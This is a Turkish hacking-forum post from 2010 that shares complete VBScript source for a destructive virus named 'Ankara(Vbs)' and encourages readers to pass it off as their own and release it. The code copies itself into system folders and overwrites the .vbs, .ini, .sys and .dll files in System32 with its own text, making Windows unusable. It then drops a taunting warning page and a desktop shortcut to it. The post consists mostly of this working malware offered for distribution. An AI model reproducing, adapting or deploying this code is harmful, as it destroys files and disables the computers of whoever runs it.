İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Süper Bir Virüs Daha

19-03-2010 14:10
#1
Se-ZeR - ait Kullanıcı Resmi (Avatar)
Mareşal
Üyelik tarihi:
07/2008
Nereden:
İstanbul
Mesajlar:
10.915
Teşekkür (Etti):
1198
Teşekkür (Aldı):
7707
Konular:
2878
Ticaret:
(0) %
Virüsü Ben Yazdım Deyip, 2 Kodu 1 Araya Getiremeyen Ters Yönlü Arkadaşlar, Ben Yaptım Deyip Sürebilirler Piyasaya
Virüsün Adı : Ankara(Vbs)
Kısaca İşlevi;
System32'de Bulunan Vbs, Inı, Sys Gibi Dosya Türlerinin İçeriğine Kendisini Enjekte Eder Ve Sistemi Çalışmaz Hale Getirir.
Çalışmıyo Vb SoruLar ; [Bu Linki Görüntüleyebilmeniz İçin Üye Olmanız Gerekiyor. Üye Olmak İçn Tıklayınız]

Kod:

Rem // Ankara(Vbs) - You Must Come To Ankara!
Rem // By: gozyasi---@hotmail.com
Dim c1, c2, c3, c4, c5
Set c1 = CreateObject ("Scripting.FileSystemObject")
Set c2 = c1.GetSpeciAlFolder(0)
Set c3 = c1.GetSpeciAlFolder(1)
Set c4 = c1.GetFile (Wscript.ScriptFullName)
c4.Copy (c2 & "\winL0rd.html")
c4.Copy (c3 & "\Ankara.vbs")
Set c5 = c1.OpenTextFile(c2 & "\winL0rd.html", 2, True)
c5.WriteLine "<Html><Head><Title>Warning!</title></Head><Body BgColor=" & """#000000""" & "><P Align=" & """Center""" & "><B><Font Face=" & """Verdana""" & " Size=" & """6""" & " Color=" & """#44F44""" & ">Warning!</Font></B><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">I Can Destroy Your Computer, You Are Come To (ANKARA)</Font><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">By: gozyasi---@hotmail.com</Font></P></Body></Html>"
Devam()
Sub Devam()
Dim c6, c7, c8, c9, c10
Set c6 = c1.OpenTextFile(WScript.ScriptFullName)
Set c7 = c1.GetSpecialFolder(1)
Set c8 = c1.GetFolder(c7)
Set c9 = c8.Files
c14 = c6.ReadAll
For each Ben in c9
uzanti = c1.GetExtensionName(Ben.path)
If (uzanti = "vbs") or (uzanti = "ini") or (uzanti = "sys") or (uzanti = "dll") Then
Set c10 = c1.OpenTextFile(Ben.path, 2, True)
c10.Write (c14)
c10.Close
End If
Next
Kyol()
End Sub
Sub Kyol()
Dim c11, c12, c13
set c11 = WScript.CreateObject("WScript.Shell")
c12 = c11.SpecialFolders("Desktop")
set c13 = c11.CreateShortcut(c12 & "\Oku Bunu.Url")
c13.TargetPath = (c2 & "\winL0rd.html")
c13.Save
Rem // Ankara(vbs)
End Sub
Kullanıcı İmzası
Düşman edinmek istiyorsan bir şeyi değiştirmeyi dene.


Sıkça Sorulan Sorular (Lütfen Pm Atmadan Önce Bir Bakın)


~Twitter~
~Feysbuk~
Konu Se-ZeR tarafından (19-03-2010 14:13 Saat 14:13 ) değiştirilmiştir.


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı